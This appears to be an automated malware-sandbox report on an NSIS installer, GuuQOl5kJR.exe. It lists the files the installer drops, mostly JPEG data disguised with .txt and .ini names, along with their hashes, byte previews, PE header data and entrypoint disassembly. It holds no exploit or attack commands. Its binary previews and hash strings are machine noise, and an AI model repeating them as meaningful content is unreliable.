SHA-256:	53BB5626BC226D0E476A35645C2D720C1056ADFBB23DAEB5923E9264540259B9
SHA-512:	BA2E24D412C69D2B1EBAEDBF5B7AC0F94544A3E9C42CDE2FB13C456217B6B0449024086D78C72F8B7C4EBA35622C56623919F64CE408471028E0A5DC6E206027
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...1N.......N./..+..&c.8."......4.Gj..L..:...^...S......".)h..V.@..1..pi.....Z...V%.t..X...#...M6..SwsY......I.z..P.@....c....i.......J..}.t...t....4..A...\|....U:.~....)......[Q.f.....K.<.0.9.D.8..<.1.G...sG$..29E.(..b.h..V.....G....N6/.F8aV.f.!{..g..c_.I.q.b.c uQ.,D.@9..~8.~...{.j.....`....`vt.j.%.G.........*.... .y.u.."....SNU<(.TIuNqm.aA.......+...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\cartographer.jpg

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 203x671, components 3
Category:	dropped
Size (bytes):	30956
Entropy (8bit):	7.969499868102271
Encrypted:	false
SSDEEP:	768:ofYXJ6hCAlkicSla3FFc1VQC2NOF1Nuse5wExZ50vn:oQalrlaVC1uClF1NuTT5Mn
MD5:	C9D3CCBEBDAFAA919122541A202A9733
SHA1:	F81641E686DE3B8C884971EC5DA65D8CF4BB4D3F
SHA-256:	5FDB8BED6E957D3399EC0D8A30934F1E0B2A4C5880A6EC8DF43F786BAA32A96C
SHA-512:	F16B4DC339F4943E19408F386C376C50A4DA42E6DB1241EAB90B8596AF701F75421B87A1AEA10835467A3900E29E2611943DC9B89FDFAAC3E46D0546BFA83A7A
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..0..6..#...(.8o+'.:.l.H.FN...... ...$.i..$-....%.q.Gj.9......O .......)...'.....f.\lG..u..>....Q....o.hC..R.FF.C..#m.k......@c.0.OA....]..r...rel.B.S....k.......Y....?xjd.X....oT5.5...t....L.5.."6g.u.*M..V.O.....Jm..Rh....0..l..kO...U.\[.-.T.5.Y.]..R.>Q.....w.5.......![q..4.O.X'..i.G..?..a..jK5.+.b. ..^.%..qQ..T...(.GsL..N..L~...\.-.......}z.\i.q@^...R{

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\histographies.txt

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 666x357, components 3
Category:	dropped
Size (bytes):	34638
Entropy (8bit):	7.9628416848799
Encrypted:	false
SSDEEP:	768:4WE6omjLoyBWuDNGNceCXyQezdhoMB8q+ljUsYU1xhbU3vCL:4Uom4yBhmQi7eK8q+lpJRUfCL
MD5:	5A1AD1096F97C0E2239684846D247918
SHA1:	2885227167F0780AED630077007401989AFDDAEE
SHA-256:	C2C9EE1D315D2D076FAADFDECF060E59877B621385A7825EDBA473BE85CCBF7F
SHA-512:	2740807D4DCDB5D2CE786488047360225EC7DED2B84A215CCE00DB25E67C2A9B5C9C3E0593BA35F8E48D937E3104FFD97C3B034471639F88D3119F9B9C62B36B
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......e...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..j\R.zq]G(...z......Hi.."..E.....G.J..P..)..P.h&..L{P..r..I.;RP .R.\.]....Fh..P..b....8b...A=...4..E...\P)(.v4..4dsI.h..-..R..q.))....M..i...(.A.P.b.)2(......)E....{.G4...(.`..SE:.0..R.@...9F.-...)z.GJ^.....Z..h.4.h.i(...(....../Z)q@...ZZ^....ZP3...-.{..Z.3G..P!..:../.0.y..K.ZhCE....Z.%...E.7.`R...r>..LQ..6......j..?......&)6..O.=.q..4.1..zPE. ZO.Gj.7.Q.u.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\icekhana.txt

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 564x766, components 3
Category:	dropped
Size (bytes):	78312
Entropy (8bit):	7.965760163563921
Encrypted:	false
SSDEEP:	1536:0aI5v5+r/WGPIAVQIhrVMZXPizutOFGlin5ZSk2iFJNfgJSYrLfEXWMo:I55e/pVQIhrqKusGkmkPnNYhX2g
MD5:	B53488FB78817ABDEA984B799B644E71
SHA1:	B52C3F0461B2D4827634B17A8456FE0EEACCF166
SHA-256:	37E2971FE0FE1B8F445A2D90CFEFC40A614C09F04D4269DC0E39131714B71644
SHA-512:	817F53CAA92582CE9F070493836EF6E925CCDFECA064C3CD8ADFFF1124542D61ED2F2DD2ABBCFC46F7CA700A43710EA78440BD16092AC41EA59D90C7E2BB13EC
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........4.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..lY.C.v.J.).6...{S.)+.k......%.3..=k@J#.+29Da@.J..c.YJ.n...3....E;.P...v...{..&nJBO.......'......<.cT.j..[....q.d.....8<...)...Y..d.c.......tV7....\..X.;..x.kG(<W....:.4.H.[..$\|r{T7..9W=..h.=+[{....+. .F8.>&_.....z.....T!tL.f<.3..4..$.5.,....N.vr7...+.......sZp.#..Y.....O.;..r.gTc..E.k.{u5.....U....E:.5p.z..j.O"3....*..f..+.d.3U..u<qE:.;..$.X.....D.....M

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\manxman.jpg

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 100x236, components 3
Category:	dropped
Size (bytes):	6266
Entropy (8bit):	7.934604994452403
Encrypted:	false
SSDEEP:	192:LageUe3z8q30+rTymq37MvDe0QQCtvOdjxvIqwgOdTsx3W:OQeJ3trT1cMvD2jvO7vIqwgOdTaW
MD5:	D154965D450CABB2873570BBB6BCEE1F
SHA1:	B69F899F37D407E34F7391B278C08140F22A8D4F
SHA-256:	8EAF9B50CE1AE80F9A033C88D393FABFF9033E1D8485B411594889DD23AEEB48
SHA-512:	6483603905A6B6566F45C7F26EFC549D371A96DEFD57B29DD96AE8890EE481964C9E682A1077AEFC8D10F8366FADEAFE9FC0DE12477D0265C70D3BC629E53B3E
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........d.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..a..;z..6+.H.5$.o\.....h..vc.^.c..2...d..f...S....>..$..y8....<q...O:Z.,.$s..e..b.0...\.v........:.Y"9.z...9.\....aV.T....1U$..KcD.....9..G..e...........H#.?....S..+..hW..x.......1.T...6s.....;h.ym ..4*..2E..V2I=...7w.t,UD...Z.9..V<.$.=j.d...zc.J........x.J.4y ....X.A...PH.~S.Kn.I...1;....pOJEr$a.r8.......4.D...s..ZRf.b..$...O\|..3ax..WE;..?Z....<t8....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\modstaaet.jpg

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 564x766, components 3
Category:	dropped
Size (bytes):	77820
Entropy (8bit):	7.966308391338044
Encrypted:	false
SSDEEP:	1536:0aI5v5+r/WGPIAVQIhrVMZXPizutOFGlin5ZSk2iFJNfgJSYrLfEXWMz:I55e/pVQIhrqKusGkmkPnNYhX2r
MD5:	69FAD6C6022F82800FD9AA55EAFF43DF
SHA1:	C34951D82990B356BCB2CAE1B24690AAA9A558AB
SHA-256:	D765417E77F1604852B08BF8E3FC78B08DB3947AE0456B7DA5A7E272D83B1426
SHA-512:	324D713ECDE5AAFCEE49721D65936E3B8646F482521D971059E4D90908EAAA0CD7F0FE47159529935C3589F5892AB9F930AE74630EDBECC81CC68B7FC5FBA227
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........4.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..lY.C.v.J.).6...{S.)+.k......%.3..=k@J#.+29Da@.J..c.YJ.n...3....E;.P...v...{..&nJBO.......'......<.cT.j..[....q.d.....8<...)...Y..d.c.......tV7....\..X.;..x.kG(<W....:.4.H.[..$\|r{T7..9W=..h.=+[{....+. .F8.>&_.....z.....T!tL.f<.3..4..$.5.,....N.vr7...+.......sZp.#..Y.....O.;..r.gTc..E.k.{u5.....U....E:.5p.z..j.O"3....*..f..+.d.3U..u<qE:.;..$.X.....D.....M

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\musicianer.spi

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	data
Category:	dropped
Size (bytes):	252988
Entropy (8bit):	1.258435768634305
Encrypted:	false
SSDEEP:	1536:Ffup5V9mQ4FqyWKrbCGsV2kLUY+mvKDFHHe4w/Lm65l32C+8zQNrpQJu0jx23uf5:1lMpKEfpd
MD5:	E19F0FF07EFE63E8B30B92E64C3279C1
SHA1:	7855F6FBD8FC96F485B4140A85A4D5CBD31F1AF9
SHA-256:	4CE892AA1B8B8CFFC9835C703FABC69087F82490FB46E889D6C07280DCE64E03
SHA-512:	030264903EFB58841058997648E112F3AC89EE4D9EA038D96F1CD132A59B2B0A3D6BCB4DD99DA62279835408453F84CF3AF492E1D53910C8AE29CCE386E2D5CB
Malicious:	false
Preview:	......................g........................P.......<.%}...........s...................Y.........M........................D.......................R...............................^............................................................................\.......................................................................................i........}.....j............%...........................................d.................._..............................Q..........................................@..............................................o...................;.....?..........g.......................................................................................................................................X.................`.....%..............[.....Q..........2.`.................................."L................................v................(..............-...................................................................".......................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\ndder.jpg

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 253x460, components 3
Category:	dropped
Size (bytes):	9249
Entropy (8bit):	7.859769804343658
Encrypted:	false
SSDEEP:	192:Lg3GVbPdwh/TkYJFxFd5Ynr9rwP8eiJnuLq6dIUfvF3g5/S+4DHEk:k3GVbPdSwYJn5Yr9rNJuLq6d1nF6S+4F
MD5:	99568CF7EA7AB982BEBEC6E8C9736699
SHA1:	656B55183279F357ABE336F6359C4AEDB5FB4AD6
SHA-256:	B9FCD205A8B2A819D6774B0F217334C24E508A02BA504D24CE3438C17AAE630A
SHA-512:	C7408A24197C4BF2B14C3AD43840851EB14325E60490998E1625FEC3CE538CB8B4EC1C9A71836990E0EB4EE922040217EC0989FD6E6D4F5BC4FCC3F3FDA0FB10
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..JZJ.JZJ(.h...QE%- .(...-.P..E%-&..i..i..J(....Q@.KHh......BR.JQ@.V..E......%8.h...i.2..4......K@.KE..R.R....Q@..QHh.E- .4.Zi.f.i......(4Q@..)i(...JZ.)E%(.@.-IQ.Z......{S(...N.....%.S...Z(...(..............Q@..Q@.%-%..(....(4.JJZJ....P..AK@.Z.TKR..1..GR5Fz.4....z.1.RR........(...ZJ(.h..@-....);.J.(...-%-%.-..C@.4.)(..ZJZ.QKM...$.".B.Z.b.J...Fh.S.Z.ja.h....e.E.P.E.P

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\romantiserendes.ini

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 564x766, components 3
Category:	dropped
Size (bytes):	79085
Entropy (8bit):	7.963718594699245
Encrypted:	false
SSDEEP:	1536:0aI5v5+r/WGPIAVQIhrVMZXPizutOFGlin5ZSk2iFJNfgJSYrLfEXWMn:I55e/pVQIhrqKusGkmkPnNYhX2P
MD5:	48951E338D32805997DA47E7122CA34C
SHA1:	FB7A57BEAAC5B15E081DCF5A54947107FB9DF9C0
SHA-256:	62D4D8C14C5BC21B8FC7BAC1BC1C8A272404C5516871E574D9E65EEF00787D11
SHA-512:	7BC3831B4274EB53F5F40C59C41456C35005FEFDD486774DA41287EA46CC33E2858C0DAE2BBE9FD12EB63BD7BA8460D8B184AB316340B45E90C939821B92D2E7
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........4.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..lY.C.v.J.).6...{S.)+.k......%.3..=k@J#.+29Da@.J..c.YJ.n...3....E;.P...v...{..&nJBO.......'......<.cT.j..[....q.d.....8<...)...Y..d.c.......tV7....\..X.;..x.kG(<W....:.4.H.[..$\|r{T7..9W=..h.=+[{....+. .F8.>&_.....z.....T!tL.f<.3..4..$.5.,....N.vr7...+.......sZp.#..Y.....O.;..r.gTc..E.k.{u5.....U....E:.5p.z..j.O"3....*..f..+.d.3U..u<qE:.;..$.X.....D.....M

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\semiquadrangle.ini

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 660x206, components 3
Category:	dropped
Size (bytes):	18366
Entropy (8bit):	7.960531856269744
Encrypted:	false
SSDEEP:	384:G69R2kiP8DN7z8OayzjwTSQ1vI8+KvvKyMIWVx3NRGBQqxFk8nWzy1+a6Pu10IJ0:GgHpXda7+2d1vezVx3NRCpnZ1+afGIJ0
MD5:	D0B061FE143A45224AF28C219D85EC29
SHA1:	98EC46FB584AFFF14AB2B9D8DBD914C2F82DB58B
SHA-256:	DDD6D841667588C40373273F4ACE25CD8E25C527BC4B15160A4BD95D5F5F859A
SHA-512:	D6035392C1E6D28B01CF4AD9025E9E43B64CAAD772B6FBF2F0D239CDC5F2B1DB3266DEAC88DC73B3C443D8755582E9E99B86642BE67E693447B5B70E79116A48
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...1N.......N./..+..&c.8."......4.Gj..L..:...^...S......".)h..V.@..1..pi.....Z...V%.t..X...#...M6..SwsY......I.z..P.@....c....i.......J..}.t...t....4..A...\|....U:.~....)......[Q.f.....K.<.0.9.D.8..<.1.G...sG$..29E.(..b.h..V.....G....N6/.F8aV.f.!{..g..c_.I.q.b.c uQ.,D.@9..~8.~...{.j.....`....`vt.j.%.G.........*.... .y.u.."....SNU<(.TIuNqm.aA.......+...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\sugarcane.jpg

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 660x206, components 3
Category:	dropped
Size (bytes):	17926
Entropy (8bit):	7.964086895083405
Encrypted:	false
SSDEEP:	384:G69R2kiP8DN7z8OayzjwTSQ1vI8+KvvKyMIWVx3NRGBQqxFk8nWzy1+a6Pu10IJy:GgHpXda7+2d1vezVx3NRCpnZ1+afGIJy
MD5:	226BA095D6E35AE7575FF844DA0C0293
SHA1:	D50131B137CAA1464076A0F6B1AB1ADA6E99234E
SHA-256:	307B12DABB919A69383409A5064E70DCD0CD4903C9E94814D10C540312F0BE73
SHA-512:	3BEC4961D0682F6ECA723A8838DB446F5152C34D82B9EEE7CE2B80724F63BAB6D4A3BE0C0B5418E7831F04AD8236697B7E4820ECE601878471AAA2184488121A
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...1N.......N./..+..&c.8."......4.Gj..L..:...^...S......".)h..V.@..1..pi.....Z...V%.t..X...#...M6..SwsY......I.z..P.@....c....i.......J..}.t...t....4..A...\|....U:.~....)......[Q.f.....K.<.0.9.D.8..<.1.G...sG$..29E.(..b.h..V.....G....N6/.F8aV.f.!{..g..c_.I.q.b.c uQ.,D.@9..~8.~...{.j.....`....`vt.j.%.G.........*.... .y.u.."....SNU<(.TIuNqm.aA.......+...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\tinkle.jpg

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 670x109, components 3
Category:	dropped
Size (bytes):	10701
Entropy (8bit):	7.839639743360956
Encrypted:	false
SSDEEP:	192:Lzr3FqEXWDs3kosNACUJ2PDTHjHzCM4guHBTGgAuihMBvUjhIaRTHO:3r3FqCd3Bsy1IPDTDebgkTG1XNHO
MD5:	6AB549CF24DE4802D3806218FDC48906
SHA1:	DADA9FCA4EC7121494CC70B3E7A2018E0F8116CA
SHA-256:	D484ED1BD415EC1F924CA80A2B8EBD60FF02998A3AD3028145C75900F51F19DF
SHA-512:	FDB7BD49B53E243FBDD3FF6613BDC0F47E6ACBE378EC9599263393B121395DCA0B23D978B7029F058B5AEBE4264EB356C945C0EB1AB00B3D6A3E75EE6D4D8651
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......m...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..vQ.......Olf.6.Q....z~.....?:6.j.....m.E..F.q..........q.?:.....q.)v...qK.."...(......J.....[.G.G....t.1@....I.../.N.....{..K..U......$....G...~b..0(..S.....B..#...T..b.........W.K..F(..X..~ty_..N...........Y..~t.Q@.....O..3}.~&......>...5*...H...(.....~t.3....qF(.l..i.:6...b.........xS....h..h...6..-&.....-........`.....bm.......Rb...uqL.........c.....h

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\unagitatedness.txt

Download File

Process:	C:\Users\user\Desktop\GuuQOl5kJR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	355
Entropy (8bit):	4.365173801202148
Encrypted:	false
SSDEEP:	6:a33GWsurYzIbhGvPiUWrFArTWzgVJ86CcE6LpA6rMrLGbGVPoHknd3TFKA8iWFzK:amN9C0vPQqrqsj86Cck6kVPoEnFweWKp
MD5:	52728264A79BB126BC05A9339A806437
SHA1:	031F624DC90E451583A740F03B0432F63FB472DE
SHA-256:	8D23AFDA0BB6BFD4399AF4AEBFAA8196644DCD468D1E6705C2388E7DB49F8D4A
SHA-512:	EFC41C3E278119CFEDBC039153FE6374C5DB4DBD95E10969768115EFA463D9E38CBC0C3DC2469D200C775AF7851E4B77AB4AE63B5456E4DE996EB21A94903519
Malicious:	false
Preview:	Vekselrytterne kolostomi skamskndede ufortrdent stableman unisolate fancical..[shrouds brasekartoffels]......aftagere afterband rituel.Limiterede corregidors vgtningen debouches caribed entopic bankkredit dopey hjemfrsel..;karaktertrkkene venulose snadret angelikas heroizing nitrosyls.Remonteres interesseomraader moslings propolsserne dilution refulge..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.959220956443469
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GuuQOl5kJR.exe
File size:	924'368 bytes
MD5:	e9c0c56c4a52c53407de85b33e496e75
SHA1:	a75d2673332707c56b0c8db8416925d771a9e47f
SHA256:	ada032dd81e29c0b738bab536c8e240ea7cd87f29a14f98ac7302bb93251833c
SHA512:	8a867790d505edb73a4b16d184e7dd31e63968816c4cfb7a591fa55e9f60baeb6e2f970fd78f79f264bd2eb8c292125048e684f7017c5ba5fc808b0303305785
SSDEEP:	24576:VYv4iYYOQgoqaAP+YhScfal3ROQMuqBZzm7UlCPS/:m4iuQgnaApyJROub7UQS
TLSH:	0115238691DAC4AAC8C2A6B12B7747F5EA3E2C7100468B497F503D73B8325BE491D367
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L....f.R.................`.........X3.......p....@

File Icon


Icon Hash:	a5d56872428d9074

Static PE Info

General

Entrypoint:	0x403358
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x52BA66B2 [Wed Dec 25 05:01:38 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007FD614D5977Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007FD614D593E7h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007FD614D593D5h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007FD614D568CAh
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007FD614D58E26h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007FD614D5698Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007FD614D568C9h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007FD614D568BBh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4d000	0x5040	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e66	0x6000	e8f12472e91b02deb619070e6ee7f1f4	False	0.6566569010416666	data	6.419409887460116	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	a5ec1b720d350c6303a7aba8d85072bf	False	0.4733072916666667	data	3.7600484096214832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x23000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4d000	0x5040	0x5200	b2da62e34b8c62c487b136a5434db933	False	0.17844893292682926	data	2.8674367335879127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4d298	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.10197095435684647
RT_ICON	0x4f840	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.17659474671669795
RT_ICON	0x508e8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.21598360655737706
RT_ICON	0x51270	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2703900709219858
RT_DIALOG	0x516d8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x51820	0x120	data	English	United States	0.5138888888888888
RT_DIALOG	0x51940	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x51a60	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x51ac0	0x3e	data	English	United States	0.8064516129032258
RT_VERSION	0x51b00	0x238	data	English	United States	0.5422535211267606
RT_MANIFEST	0x51d38	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
